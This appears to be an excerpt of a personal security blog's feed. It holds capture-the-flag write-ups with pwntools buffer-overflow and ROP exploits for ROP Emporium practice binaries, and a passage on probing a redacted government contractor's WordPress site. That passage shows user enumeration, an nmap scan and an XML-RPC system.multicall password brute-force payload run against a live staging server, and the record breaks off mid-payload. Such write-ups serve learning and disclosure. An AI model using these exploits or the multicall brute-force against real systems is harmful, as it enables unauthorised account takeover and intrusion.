<span id="cb11-4"><a href="#cb11-4" aria-hidden="true" tabindex="-1"></a>pop_rdi_ret <span class="op">=</span> p64(<span class="bn">0x4007c3</span>)</span>
<span id="cb11-5"><a href="#cb11-5" aria-hidden="true" tabindex="-1"></a>cat_flag <span class="op">=</span> p64(<span class="bn">0x601060</span>)</span>
<span id="cb11-6"><a href="#cb11-6" aria-hidden="true" tabindex="-1"></a>system_call <span class="op">=</span> p64(<span class="bn">0x40074b</span>)  <span class="co"># use call system in usefulFunction</span></span>
<span id="cb11-7"><a href="#cb11-7" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb11-8"><a href="#cb11-8" aria-hidden="true" tabindex="-1"></a>p <span class="op">=</span> process(<span class="st">&#39;./split&#39;</span>)</span>
<span id="cb11-9"><a href="#cb11-9" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb11-10"><a href="#cb11-10" aria-hidden="true" tabindex="-1"></a>payload <span class="op">=</span> <span class="st">b&#39;A&#39;</span> <span class="op">*</span> <span class="dv">40</span></span>
<span id="cb11-11"><a href="#cb11-11" aria-hidden="true" tabindex="-1"></a>payload <span class="op">+=</span> pop_rdi_ret</span>
<span id="cb11-12"><a href="#cb11-12" aria-hidden="true" tabindex="-1"></a>payload <span class="op">+=</span> cat_flag</span>
<span id="cb11-13"><a href="#cb11-13" aria-hidden="true" tabindex="-1"></a>payload <span class="op">+=</span> system_call</span>
<span id="cb11-14"><a href="#cb11-14" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb11-15"><a href="#cb11-15" aria-hidden="true" tabindex="-1"></a>p.send(payload)</span>
<span id="cb11-16"><a href="#cb11-16" aria-hidden="true" tabindex="-1"></a>p.interactive()</span></code></pre></div>
<p>Note: We use <code>0x40074b</code> (the <code>call system</code> inside <code>usefulFunction</code>) rather than <code>system@plt</code> directly to avoid stack alignment issues that can occur with modern libc.</p>
<h2 id="key-takeaways"><a href="#key-takeaways" class="anchor">#</a>Key Takeaways</h2>
<ul>
<li><strong>ROP chains</strong> let us execute arbitrary code even with NX enabled</li>
<li><strong>x64 calling convention</strong>: first arg in <code>rdi</code>, second in <code>rsi</code>, etc.</li>
<li><strong>Gadget hunting</strong>: tools like ROPgadget find useful instruction sequences</li>
<li><strong>Stack alignment</strong>: sometimes you need to be careful about 16-byte alignment when calling libc functions</li>
</ul>]]></summary>
</entry>
<entry>
    <title>ROP Emporium: ret2win</title>
    <link href="https://rivers.sh/posts/ropemporium-ret2win/" />
    <id>https://rivers.sh/posts/ropemporium-ret2win/</id>
    <published>2026-01-25T00:00:00Z</published>
    <updated>2026-01-25T00:00:00Z</updated>
    <summary type="html"><![CDATA[<h2 id="challenge-info"><a href="#challenge-info" class="anchor">#</a>Challenge Info</h2>
<p>Basic ret2win style challenge - overflow a buffer to redirect program execution to a function that prints the flag.</p>
<h2 id="recon"><a href="#recon" class="anchor">#</a>Recon</h2>
<div class="sourceCode" id="cb1"><pre class="sourceCode sh"><code class="sourceCode bash"><span id="cb1-1"><a href="#cb1-1" aria-hidden="true" tabindex="-1"></a><span class="ex">$</span> file ret2win</span>
<span id="cb1-2"><a href="#cb1-2" aria-hidden="true" tabindex="-1"></a><span class="ex">ret2win:</span> ELF 64-bit LSB executable, x86-64, version 1 <span class="er">(</span><span class="ex">SYSV</span><span class="kw">)</span><span class="ex">,</span> dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID<span class="pp">[</span><span class="ss">sha1</span><span class="pp">]</span>=19abc0b3bb228157af55b8e16af7316d54ab0597, not stripped</span></code></pre></div>
<p>64-bit executable, dynamically linked, not stripped - symbols will be available for analysis.</p>
<div class="sourceCode" id="cb2"><pre class="sourceCode sh"><code class="sourceCode bash"><span id="cb2-1"><a href="#cb2-1" aria-hidden="true" tabindex="-1"></a><span class="ex">pwndbg</span><span class="op">&gt;</span> checksec</span>
<span id="cb2-2"><a href="#cb2-2" aria-hidden="true" tabindex="-1"></a><span class="ex">File:</span>     ret2win</span>
<span id="cb2-3"><a href="#cb2-3" aria-hidden="true" tabindex="-1"></a><span class="ex">Arch:</span>     amd64</span>
<span id="cb2-4"><a href="#cb2-4" aria-hidden="true" tabindex="-1"></a><span class="ex">RELRO:</span>      Partial RELRO</span>
<span id="cb2-5"><a href="#cb2-5" aria-hidden="true" tabindex="-1"></a><span class="ex">Stack:</span>      No canary found</span>
<span id="cb2-6"><a href="#cb2-6" aria-hidden="true" tabindex="-1"></a><span class="ex">NX:</span>         NX enabled</span>
<span id="cb2-7"><a href="#cb2-7" aria-hidden="true" tabindex="-1"></a><span class="ex">PIE:</span>        No PIE <span class="er">(</span><span class="ex">0x400000</span><span class="kw">)</span></span>
<span id="cb2-8"><a href="#cb2-8" aria-hidden="true" tabindex="-1"></a><span class="ex">Stripped:</span>   No</span></code></pre></div>
<p>Key takeaways:</p>
<ul>
<li><strong>No stack canary</strong> - buffer overflow won't be detected</li>
<li><strong>NX enabled</strong> - can't execute shellcode on the stack</li>
<li><strong>No PIE</strong> - addresses are fixed, no ASLR on the binary</li>
</ul>
<h2 id="finding-the-target"><a href="#finding-the-target" class="anchor">#</a>Finding the Target</h2>
<div class="sourceCode" id="cb3"><pre class="sourceCode sh"><code class="sourceCode bash"><span id="cb3-1"><a href="#cb3-1" aria-hidden="true" tabindex="-1"></a><span class="ex">pwndbg</span><span class="op">&gt;</span> info functions</span>
<span id="cb3-2"><a href="#cb3-2" aria-hidden="true" tabindex="-1"></a><span class="ex">0x0000000000400697</span>  main</span>
<span id="cb3-3"><a href="#cb3-3" aria-hidden="true" tabindex="-1"></a><span class="ex">0x00000000004006e8</span>  pwnme</span>
<span id="cb3-4"><a href="#cb3-4" aria-hidden="true" tabindex="-1"></a><span class="ex">0x0000000000400756</span>  ret2win</span></code></pre></div>
<p>Three functions of interest: <code>main</code>, <code>pwnme</code>, and conveniently named <code>ret2win</code> at <code>0x400756</code>.</p>
<h2 id="vulnerability-analysis"><a href="#vulnerability-analysis" class="anchor">#</a>Vulnerability Analysis</h2>
<pre class="x86asm"><code>pwndbg&gt; disass pwnme
Dump of assembler code for function pwnme:
   0x00000000004006e8 &lt;+0&gt;:     push   rbp
   0x00000000004006e9 &lt;+1&gt;:     mov    rbp,rsp
   0x00000000004006ec &lt;+4&gt;:     sub    rsp,0x20
   ...
   0x0000000000400733 &lt;+75&gt;:    lea    rax,[rbp-0x20]
   0x0000000000400737 &lt;+79&gt;:    mov    edx,0x38
   0x000000000040073c &lt;+84&gt;:    mov    rsi,rax
   0x000000000040073f &lt;+87&gt;:    mov    edi,0x0
   0x0000000000400744 &lt;+92&gt;:    call   0x400590 &lt;read@plt&gt;
   ...
End of assembler dump.</code></pre>
<p>The vulnerability is clear - classic buffer overflow pattern:</p>
<table>
<thead>
<tr>
<th>Safe Pattern</th>
<th>Unsafe Pattern (This Binary)</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>sub rsp,0x20</code> (allocate 32 bytes)</td>
<td><code>sub rsp,0x20</code> (allocate 32 bytes)</td>
</tr>
<tr>
<td><code>lea rax,[rbp-0x20]</code> (point to buffer)</td>
<td><code>lea rax,[rbp-0x20]</code> (point to buffer)</td>
</tr>
<tr>
<td><code>mov edx,0x20</code> (read 32 bytes)</td>
<td><code>mov edx,0x38</code> (read <strong>56 bytes</strong>)</td>
</tr>
</tbody>
</table>
<p>The program allocates 32 bytes but reads 56 bytes - that's 24 bytes of overflow, enough to overwrite the saved RBP (8 bytes) and return address (8 bytes).</p>
<h2 id="calculating-the-offset"><a href="#calculating-the-offset" class="anchor">#</a>Calculating the Offset</h2>
<p>Stack layout at <code>pwnme</code>:</p>
<pre><code>[buffer: 32 bytes] [saved RBP: 8 bytes] [return address: 8 bytes]
         ^
      rbp-0x20</code></pre>
<p>Offset to return address: <code>32 + 8 = 40 bytes</code></p>
<h2 id="exploitation"><a href="#exploitation" class="anchor">#</a>Exploitation</h2>
<p>The exploit is straightforward:</p>
<ol type="1">
<li>Send 40 bytes of padding to reach the return address</li>
<li>Overwrite return address with <code>ret2win</code> function address</li>
</ol>
<div class="sourceCode" id="cb6"><pre class="sourceCode python"><code class="sourceCode python"><span id="cb6-1"><a href="#cb6-1" aria-hidden="true" tabindex="-1"></a><span class="im">from</span> pwn <span class="im">import</span> <span class="op">*</span></span>
<span id="cb6-2"><a href="#cb6-2" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb6-3"><a href="#cb6-3" aria-hidden="true" tabindex="-1"></a>p <span class="op">=</span> process(<span class="st">&#39;./ret2win&#39;</span>)</span>
<span id="cb6-4"><a href="#cb6-4" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb6-5"><a href="#cb6-5" aria-hidden="true" tabindex="-1"></a>payload <span class="op">=</span> <span class="st">b&#39;A&#39;</span> <span class="op">*</span> <span class="dv">40</span></span>
<span id="cb6-6"><a href="#cb6-6" aria-hidden="true" tabindex="-1"></a>payload <span class="op">+=</span> p64(<span class="bn">0x400756</span>)  <span class="co"># ret2win address</span></span>
<span id="cb6-7"><a href="#cb6-7" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb6-8"><a href="#cb6-8" aria-hidden="true" tabindex="-1"></a>p.sendline(payload)</span>
<span id="cb6-9"><a href="#cb6-9" aria-hidden="true" tabindex="-1"></a>p.interactive()</span></code></pre></div>
<p>When <code>pwnme</code> executes <code>ret</code>, it pops our crafted address into RIP and jumps to <code>ret2win</code>, which prints the flag.</p>]]></summary>
</entry>
<entry>
    <title>wordpress xml-rpc vulnerability on a gov't contractor</title>
    <link href="https://rivers.sh/posts/xmlrpc/" />
    <id>https://rivers.sh/posts/xmlrpc/</id>
    <published>2025-12-09T00:00:00Z</published>
    <updated>2025-12-09T00:00:00Z</updated>
    <summary type="html"><![CDATA[<h2 id="initial-recon--user-enum"><a href="#initial-recon--user-enum" class="anchor">#</a>initial recon + user enum</h2>
<p>went into this with hackthebox methodology/mindset, since im not a bug bounty hunter (though i'd love to improve at it one day of course)</p>
<p><img src="/images/xmlrpc/wappalyzer.png" alt="wap" /><br />
no immediately exploitable CVEs sadly</p>
<p>manual enumeration revealed the following security issues:</p>
<ul>
<li>user enumeration works</li>
</ul>
<div class="sourceCode" id="cb1"><pre class="sourceCode sh"><code class="sourceCode bash"><span id="cb1-1"><a href="#cb1-1" aria-hidden="true" tabindex="-1"></a><span class="ex">river@arch:~</span> $ curl <span class="at">-s</span> <span class="st">&quot;https://&lt;SITE&gt;.com/?author=1&quot;</span> <span class="at">-L</span> <span class="kw">|</span> <span class="fu">grep</span> <span class="at">-i</span> <span class="st">&quot;author|redirect&quot;</span></span>
<span id="cb1-2"><a href="#cb1-2" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb1-3"><a href="#cb1-3" aria-hidden="true" tabindex="-1"></a><span class="op">&lt;</span>title<span class="op">&gt;&lt;</span>REDACTED<span class="op">&gt;</span>, <span class="ex">Author</span> at <span class="op">&lt;</span>REDACTED<span class="op">&gt;&lt;</span>/title<span class="op">&gt;</span></span>
<span id="cb1-4"><a href="#cb1-4" aria-hidden="true" tabindex="-1"></a>        <span class="op">&lt;</span>link <span class="va">rel</span><span class="op">=</span><span class="st">&quot;canonical&quot;</span> <span class="va">href</span><span class="op">=</span><span class="st">&quot;https://&lt;SITE&gt;.com/author/admin/&quot;</span> <span class="ex">/</span><span class="op">&gt;</span></span>
<span id="cb1-5"><a href="#cb1-5" aria-hidden="true" tabindex="-1"></a>        <span class="op">&lt;</span>link <span class="va">rel</span><span class="op">=</span><span class="st">&quot;next&quot;</span> <span class="va">href</span><span class="op">=</span><span class="st">&quot;https://&lt;SITE&gt;.com/author/admin/page/2/&quot;</span> <span class="ex">/</span><span class="op">&gt;</span></span>
<span id="cb1-6"><a href="#cb1-6" aria-hidden="true" tabindex="-1"></a>        <span class="op">&lt;</span>meta <span class="va">property</span><span class="op">=</span><span class="st">&quot;og:title&quot;</span> <span class="va">content</span><span class="op">=</span><span class="st">&quot;&lt;REDACTED, Author at &lt;REDACTED&gt;&quot;</span> <span class="ex">/</span><span class="op">&gt;</span></span>
<span id="cb1-7"><a href="#cb1-7" aria-hidden="true" tabindex="-1"></a>        <span class="op">&lt;</span>meta <span class="va">property</span><span class="op">=</span><span class="st">&quot;og:url&quot;</span> <span class="va">content</span><span class="op">=</span><span class="st">&quot;https://&lt;SITE&gt;.com/author/admin/&quot;</span> <span class="ex">/</span><span class="op">&gt;</span></span>
<span id="cb1-8"><a href="#cb1-8" aria-hidden="true" tabindex="-1"></a><span class="ex">﻿</span></span>
<span id="cb1-9"><a href="#cb1-9" aria-hidden="true" tabindex="-1"></a> </span></code></pre></div>
<ul>
<li>xml-rpc is disabled</li>
<li>password reset url: <code>/dev-login/?action=lostpassword</code></li>
<li>wp-config backups blocked but with 403 (should be 404)</li>
<li>readme.html exposed (200) - should be 404</li>
</ul>
<p>most significant issue identified during this phase was the working user enumeration capability. multiple valid usernames were successfully enumerated through this method.</p>
<h2 id="port-scan--discovery"><a href="#port-scan--discovery" class="anchor">#</a>port scan + discovery</h2>
<p>hit a brick wall with web-based enumeration, so went back to basics (NMAP)</p>
<div class="sourceCode" id="cb2"><pre class="sourceCode sh"><code class="sourceCode bash"><span id="cb2-1"><a href="#cb2-1" aria-hidden="true" tabindex="-1"></a><span class="ex">river@arch:~</span> $ nmap <span class="at">-sV</span> <span class="at">-sC</span> <span class="at">-T4</span> <span class="op">&lt;</span>SITE<span class="op">&gt;</span>.com</span>
<span id="cb2-2"><a href="#cb2-2" aria-hidden="true" tabindex="-1"></a><span class="ex">Starting</span> Nmap 7.98 <span class="er">(</span> <span class="ex">https://nmap.org</span> <span class="kw">)</span> <span class="ex">at</span> 2025-12-09 12:49 <span class="at">-0500</span></span>
<span id="cb2-3"><a href="#cb2-3" aria-hidden="true" tabindex="-1"></a><span class="ex">Nmap</span> scan report for <span class="op">&lt;</span>SITE<span class="op">&gt;</span>.com <span class="er">(</span><span class="ex">172.67.213.5</span><span class="kw">)</span></span>
<span id="cb2-4"><a href="#cb2-4" aria-hidden="true" tabindex="-1"></a><span class="ex">Host</span> is up <span class="er">(</span><span class="ex">0.033s</span> latency<span class="kw">)</span><span class="bu">.</span></span>
<span id="cb2-5"><a href="#cb2-5" aria-hidden="true" tabindex="-1"></a><span class="ex">Other</span> addresses for <span class="op">&lt;</span>SITE<span class="op">&gt;</span>.com <span class="er">(</span><span class="ex">not</span> scanned<span class="kw">)</span><span class="bu">:</span> 104.21.77.239 2606:4700:3030::ac43:d505 2606:4700:3037::6815:4def</span>
<span id="cb2-6"><a href="#cb2-6" aria-hidden="true" tabindex="-1"></a><span class="ex">Not</span> shown: 996 filtered tcp ports <span class="er">(</span><span class="ex">no-response</span><span class="kw">)</span></span>
<span id="cb2-7"><a href="#cb2-7" aria-hidden="true" tabindex="-1"></a><span class="ex">PORT</span>     STATE SERVICE  VERSION</span>
<span id="cb2-8"><a href="#cb2-8" aria-hidden="true" tabindex="-1"></a><span class="ex">80/tcp</span>   open  http     Cloudflare http proxy</span>
<span id="cb2-9"><a href="#cb2-9" aria-hidden="true" tabindex="-1"></a><span class="kw">|</span><span class="ex">_http-title:</span> Did not follow redirect to https://<span class="op">&lt;</span>SITE<span class="op">&gt;</span>.com/</span>
<span id="cb2-10"><a href="#cb2-10" aria-hidden="true" tabindex="-1"></a><span class="kw">|</span><span class="ex">_http-server-header:</span> cloudflare</span>
<span id="cb2-11"><a href="#cb2-11" aria-hidden="true" tabindex="-1"></a><span class="ex">443/tcp</span>  open  ssl/http Cloudflare http proxy</span>
<span id="cb2-12"><a href="#cb2-12" aria-hidden="true" tabindex="-1"></a><span class="kw">|</span><span class="ex">_http-title:</span> Home <span class="at">-</span> <span class="op">&lt;</span>REDACTED<span class="op">&gt;</span></span>
<span id="cb2-13"><a href="#cb2-13" aria-hidden="true" tabindex="-1"></a><span class="kw">|</span><span class="ex">_http-generator:</span> WordPress 6.8.3</span>
<span id="cb2-14"><a href="#cb2-14" aria-hidden="true" tabindex="-1"></a><span class="kw">|</span> <span class="ex">http-robots.txt:</span> 1 disallowed entry</span>
<span id="cb2-15"><a href="#cb2-15" aria-hidden="true" tabindex="-1"></a><span class="kw">|</span><span class="ex">_/</span></span>
<span id="cb2-16"><a href="#cb2-16" aria-hidden="true" tabindex="-1"></a><span class="kw">|</span> <span class="ex">ssl-cert:</span> Subject: commonName=<span class="op">&lt;</span>SITE<span class="op">&gt;</span>.com</span>
<span id="cb2-17"><a href="#cb2-17" aria-hidden="true" tabindex="-1"></a><span class="kw">|</span> <span class="ex">Subject</span> Alternative Name: DNS:<span class="op">&lt;</span>SITE<span class="op">&gt;</span>.com, DNS:<span class="pp">*</span>.<span class="op">&lt;</span>SITE<span class="op">&gt;</span>.com</span>
<span id="cb2-18"><a href="#cb2-18" aria-hidden="true" tabindex="-1"></a><span class="kw">|</span> <span class="ex">Not</span> valid before: 2025-10-16T11:21:36</span>
<span id="cb2-19"><a href="#cb2-19" aria-hidden="true" tabindex="-1"></a><span class="kw">|</span><span class="ex">_Not</span> valid after:  2026-01-14T12:20:04</span>
<span id="cb2-20"><a href="#cb2-20" aria-hidden="true" tabindex="-1"></a><span class="kw">|</span><span class="ex">_http-server-header:</span> cloudflare</span>
<span id="cb2-21"><a href="#cb2-21" aria-hidden="true" tabindex="-1"></a><span class="ex">8080/tcp</span> open  http     Cloudflare http proxy</span>
<span id="cb2-22"><a href="#cb2-22" aria-hidden="true" tabindex="-1"></a><span class="kw">|</span><span class="ex">_http-server-header:</span> cloudflare</span>
<span id="cb2-23"><a href="#cb2-23" aria-hidden="true" tabindex="-1"></a><span class="kw">|</span><span class="ex">_http-title:</span> Did not follow redirect to https://<span class="op">&lt;</span>SITE<span class="op">&gt;</span>.com:8080/</span>
<span id="cb2-24"><a href="#cb2-24" aria-hidden="true" tabindex="-1"></a><span class="ex">8443/tcp</span> open  ssl/http Cloudflare http proxy</span>
<span id="cb2-25"><a href="#cb2-25" aria-hidden="true" tabindex="-1"></a><span class="kw">|</span><span class="ex">_http-server-header:</span> cloudflare</span>
<span id="cb2-26"><a href="#cb2-26" aria-hidden="true" tabindex="-1"></a><span class="kw">|</span><span class="ex">_http-title:</span> Site doesn<span class="st">&#39;t have a title.</span></span>
<span id="cb2-27"><a href="#cb2-27" aria-hidden="true" tabindex="-1"></a><span class="st">| ssl-cert: Subject: commonName=&lt;SITE&gt;.com</span></span>
<span id="cb2-28"><a href="#cb2-28" aria-hidden="true" tabindex="-1"></a><span class="st">| Subject Alternative Name: DNS:&lt;SITE&gt;.com, DNS:*.&lt;SITE&gt;.com</span></span>
<span id="cb2-29"><a href="#cb2-29" aria-hidden="true" tabindex="-1"></a><span class="st">| Not valid before: 2025-10-16T11:21:36</span></span>
<span id="cb2-30"><a href="#cb2-30" aria-hidden="true" tabindex="-1"></a><span class="st">|_Not valid after:  2026-01-14T12:20:04</span></span>
<span id="cb2-31"><a href="#cb2-31" aria-hidden="true" tabindex="-1"></a><span class="st">Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .</span></span>
<span id="cb2-32"><a href="#cb2-32" aria-hidden="true" tabindex="-1"></a><span class="st">Nmap done: 1 IP address (1 host up) scanned in 40.08 seconds</span></span></code></pre></div>
<ul>
<li>ports 8080 and 8443 were discovered in an open state</li>
<li>a wildcard SSL certificate (<code>*.&lt;SITE&gt;.com</code>) was observed, indicating the potential presence of subdomains</li>
</ul>
<h2 id="subdomain-enumeration-and-discovery"><a href="#subdomain-enumeration-and-discovery" class="anchor">#</a>subdomain enumeration and Discovery</h2>
<p>cba to use feroxbuster so just went with classic dorking</p>
<p><img src="/images/xmlrpc/dorking.png" alt="dorking" /><br />
staging branch is literally public ???</p>
<h2 id="poking-around-staging-branch"><a href="#poking-around-staging-branch" class="anchor">#</a>poking around staging branch</h2>
<p>at some point realized some mismatched wordpress versions</p>
<p>eventually poked around enough to find xml-rpc</p>
<div class="sourceCode" id="cb3"><pre class="sourceCode sh"><code class="sourceCode bash"><span id="cb3-1"><a href="#cb3-1" aria-hidden="true" tabindex="-1"></a><span class="ex">river@arch:~</span> $ curl <span class="at">-X</span> POST https://staging.<span class="op">&lt;</span>SITE<span class="op">&gt;</span>.com/xmlrpc.php <span class="at">-d</span> <span class="st">&#39;&lt;?xml version=&quot;1.0&quot;?&gt;&lt;methodCall&gt;&lt;methodName&gt;system.listMethods&lt;/methodName&gt;&lt;/methodCall&gt;&#39;</span></span>
<span id="cb3-2"><a href="#cb3-2" aria-hidden="true" tabindex="-1"></a><span class="op">&lt;</span><span class="ex">?xml</span> version=<span class="st">&quot;1.0&quot;</span> encoding=<span class="st">&quot;UTF-8&quot;</span><span class="pp">?</span><span class="op">&gt;</span></span>
<span id="cb3-3"><a href="#cb3-3" aria-hidden="true" tabindex="-1"></a><span class="op">&lt;</span>methodResponse<span class="op">&gt;</span></span>
<span id="cb3-4"><a href="#cb3-4" aria-hidden="true" tabindex="-1"></a>  <span class="op">&lt;</span>params<span class="op">&gt;</span></span>
<span id="cb3-5"><a href="#cb3-5" aria-hidden="true" tabindex="-1"></a>    <span class="op">&lt;</span>param<span class="op">&gt;</span></span>
<span id="cb3-6"><a href="#cb3-6" aria-hidden="true" tabindex="-1"></a>      <span class="op">&lt;</span>value<span class="op">&gt;</span></span>
<span id="cb3-7"><a href="#cb3-7" aria-hidden="true" tabindex="-1"></a>      <span class="op">&lt;</span>array<span class="op">&gt;&lt;</span>data<span class="op">&gt;</span></span>
<span id="cb3-8"><a href="#cb3-8" aria-hidden="true" tabindex="-1"></a>  <span class="op">&lt;</span>value<span class="op">&gt;&lt;</span>string<span class="op">&gt;</span>system.multicall<span class="op">&lt;</span>/string<span class="op">&gt;&lt;</span>/value<span class="op">&gt;</span></span></code></pre></div>
<h2 id="xml-rpc-security-implications"><a href="#xml-rpc-security-implications" class="anchor">#</a>xml-rpc security implications</h2>
<p>from claude:<br />
XML-RPC (Extensible Markup Language Remote Procedure Call) is a legacy protocol that enables remote function calls using XML for encoding and HTTP as the transport mechanism. While XML-RPC provides various functionalities, this analysis focuses specifically on the <code>system.multicall()</code> method due to its security implications.</p>
<h3 id="systemmulticall-attack-vector"><a href="#systemmulticall-attack-vector" class="anchor">#</a>system.multicall() Attack Vector</h3>
<p>the <code>system.multicall()</code> function allows multiple remote procedure calls to be batched into a single HTTP request. this can be abused to bypass rate limiting and intrusion detection systems</p>
<p>example:<br />
traditional brute-force attack: 100 password attempts = 100 individual HTTP requests, which triggers rate limiting and detection mechanisms</p>
<p>with <code>system.multicall()</code>: 100 password attempts = 1 HTTP request, effectively bypassing security controls:</p>
<div class="sourceCode" id="cb4"><pre class="sourceCode html"><code class="sourceCode html"><span id="cb4-1"><a href="#cb4-1" aria-hidden="true" tabindex="-1"></a><span class="dt">&lt;</span><span class="kw">methodCall</span><span class="dt">&gt;</span></span>
<span id="cb4-2"><a href="#cb4-2" aria-hidden="true" tabindex="-1"></a>  <span class="dt">&lt;</span><span class="kw">methodName</span><span class="dt">&gt;</span>system.multicall<span class="dt">&lt;/</span><span class="kw">methodName</span><span class="dt">&gt;</span></span>
<span id="cb4-3"><a href="#cb4-3" aria-hidden="true" tabindex="-1"></a>  <span class="dt">&lt;</span><span class="kw">params</span><span class="dt">&gt;</span></span>
<span id="cb4-4"><a href="#cb4-4" aria-hidden="true" tabindex="-1"></a>    <span class="dt">&lt;</span><span class="kw">param</span><span class="dt">&gt;&lt;</span><span class="kw">array</span><span class="dt">&gt;&lt;</span><span class="kw">data</span><span class="dt">&gt;</span></span>
<span id="cb4-5"><a href="#cb4-5" aria-hidden="true" tabindex="-1"></a>      <span class="dt">&lt;</span><span class="kw">value</span><span class="dt">&gt;&lt;</span><span class="kw">struct</span><span class="dt">&gt;</span></span>
<span id="cb4-6"><a href="#cb4-6" aria-hidden="true" tabindex="-1"></a>        <span class="dt">&lt;</span><span class="kw">member</span><span class="dt">&gt;&lt;</span><span class="kw">name</span><span class="dt">&gt;</span>methodName<span class="dt">&lt;/</span><span class="kw">name</span><span class="dt">&gt;&lt;</span><span class="kw">value</span><span class="dt">&gt;</span>wp.getUsersBlogs<span class="dt">&lt;/</span><span class="kw">value</span><span class="dt">&gt;&lt;/</span><span class="kw">member</span><span class="dt">&gt;</span></span>
<span id="cb4-7"><a href="#cb4-7" aria-hidden="true" tabindex="-1"></a>        <span class="dt">&lt;</span><span class="kw">member</span><span class="dt">&gt;&lt;</span><span class="kw">name</span><span class="dt">&gt;</span>params<span class="dt">&lt;/</span><span class="kw">name</span><span class="dt">&gt;&lt;</span><span class="kw">value</span><span class="dt">&gt;&lt;</span><span class="kw">array</span><span class="dt">&gt;</span></span>
<span id="cb4-8"><a href="#cb4-8" aria-hidden="true" tabindex="-1"></a>          <span class="dt">&lt;</span><span class="kw">data</span><span class="dt">&gt;&lt;</span><span class="kw">value</span><span class="dt">&gt;</span>admin<span class="dt">&lt;/</span><span class="kw">value</span><span class="dt">&gt;&lt;</span><span class="kw">value</span><span class="dt">&gt;</span>password1<span class="dt">&lt;/</span><span class="kw">value</span><span class="dt">&gt;&lt;/</span><span class="kw">data</span><span class="dt">&gt;</span></span>
<span id="cb4-9"><a href="#cb4-9" aria-hidden="true" tabindex="-1"></a>        <span class="dt">&lt;/</span><span class="kw">array</span><span class="dt">&gt;&lt;/</span><span class="kw">value</span><span class="dt">&gt;&lt;/</span><span class="kw">member</span><span class="dt">&gt;</span></span>
<span id="cb4-10"><a href="#cb4-10" aria-hidden="true" tabindex="-1"></a>      <span class="dt">&lt;/</span><span class="kw">struct</span><span class="dt">&gt;&lt;/</span><span class="kw">value</span><span class="dt">&gt;</span></span>
<span id="cb4-11"><a href="#cb4-11" aria-hidden="true" tabindex="-1"></a>      <span class="co">&lt;!-- Repeat for password2, password3... password100 --&gt;</span></span>
<span id="cb4-12"><a href="#cb4-12" aria-hidden="true" tabindex="-1"></a>    <span class="dt">&lt;/</span><span class="kw">data</span><span class="dt">&gt;&lt;/</span><span class="kw">array</span><span class="dt">&gt;&lt;/</span><span class="kw">param</span><span class="dt">&gt;</span></span>
<span id="cb4-13"><a href="#cb4-13" aria-hidden="true" tabindex="-1"></a>  <span class="dt">&lt;/</span><span class="kw">params</span><span class="dt">&gt;</span></span>
<span id="cb4-14"><a href="#cb4-14" aria-hidden="true" tabindex="-1"></a><span class="dt">&lt;/</span><span class="kw">methodCall</span><span class="dt">&gt;</span></span></code></pre></div>
<p>this would also bypass a WAF</p>
<h3 id="proof-of-concept"><a href="#proof-of-concept" class="anchor">#</a>proof of concept</h3>
<div class="sourceCode" id="cb5"><pre class="sourceCode sh"><code class="sourceCode bash"><span id="cb5-1"><a href="#cb5-1" aria-hidden="true" tabindex="-1"></a><span class="ex">river@arch:~</span> $ curl <span class="at">-s</span> <span class="at">-X</span> POST https://staging.<span class="op">&lt;</span>SITE<span class="op">&gt;</span>.com/xmlrpc.php <span class="at">-d</span> <span class="st">&#39;&lt;?xml version=&quot;1.0&quot;?&gt;</span></span>
<span id="cb5-2"><a href="#cb5-2" aria-hidden="true" tabindex="-1"></a><span class="st">&lt;methodCall&gt;</span></span>
<span id="cb5-3"><a href="#cb5-3" aria-hidden="true" tabindex="-1"></a><span class="st">  &lt;methodName&gt;system.multicall&lt;/methodName&gt;</span></span>
<span id="cb5-4"><a href="#cb5-4" aria-hidden="true" tabindex="-1"></a><span class="st">  &lt;params&gt;</span></span>
<span id="cb5-5"><a href="#cb5-5" aria-hidden="true" tabindex="-1"></a><span class="st">    &lt;param&gt;</span></span>
<span id="cb5-6"><a href="#cb5-6" aria-hidden="true" tabindex="-1"></a><span class="st">      &lt;value&gt;</span></span>
<span id="cb5-7"><a href="#cb5-7" aria-hidden="true" tabindex="-1"></a><span class="st">        &lt;array&gt;</span></span>
<span id="cb5-8"><a href="#cb5-8" aria-hidden="true" tabindex="-1"></a><span class="st">          &lt;data&gt;</span></span>
<span id="cb5-9"><a href="#cb5-9" aria-hidden="true" tabindex="-1"></a><span class="st">            &lt;value&gt;&lt;struct&gt;</span></span>
<span id="cb5-10"><a href="#cb5-10" aria-hidden="true" tabindex="-1"></a><span class="st">              &lt;member&gt;&lt;name&gt;methodName&lt;/name&gt;&lt;value&gt;&lt;string&gt;wp.getUsersBlogs&lt;/string&gt;&lt;/value&gt;&lt;/member&gt;</span></span>
<span id="cb5-11"><a href="#cb5-11" aria-hidden="true" tabindex="-1"></a><span class="st">              &lt;member&gt;&lt;name&gt;params&lt;/name&gt;&lt;value&gt;&lt;array&gt;&lt;data&gt;</span></span>
<span id="cb5-12"><a href="#cb5-12" aria-hidden="true" tabindex="-1"></a><span class="st">                &lt;value&gt;&lt;string&gt;interndev&lt;/string&gt;&lt;/value&gt;</span></span>
<span id="cb5-13"><a href="#cb5-13" aria-hidden="true" tabindex="-1"></a><span class="st">                &lt;value&gt;&lt;string&gt;admin123&lt;/string&gt;&lt;/value&gt;</span></span>
<span id="cb5-14"><a href="#cb5-14" aria-hidden="true" tabindex="-1"></a><span class="st">              &lt;/data&gt;&lt;/array&gt;&lt;/value&gt;&lt;/member&gt;</span></span>
<span id="cb5-15"><a href="#cb5-15" aria-hidden="true" tabindex="-1"></a><span class="st">            &lt;/struct&gt;&lt;/value&gt;</span></span>
<span id="cb5-16"><a href="#cb5-16" aria-hidden="true" tabindex="-1"></a><span class="st">            &lt;value&gt;&lt;struct&gt;</span></span>
<span id="cb5-17"><a href="#cb5-17" aria-hidden="true" tabindex="-1"></a><span class="st">              &lt;member&gt;&lt;name&gt;methodName&lt;/name&gt;&lt;value&gt;&lt;string&gt;wp.getUsersBlogs&lt;/string&gt;&lt;/value&gt;&lt;/member&gt;</span></span>
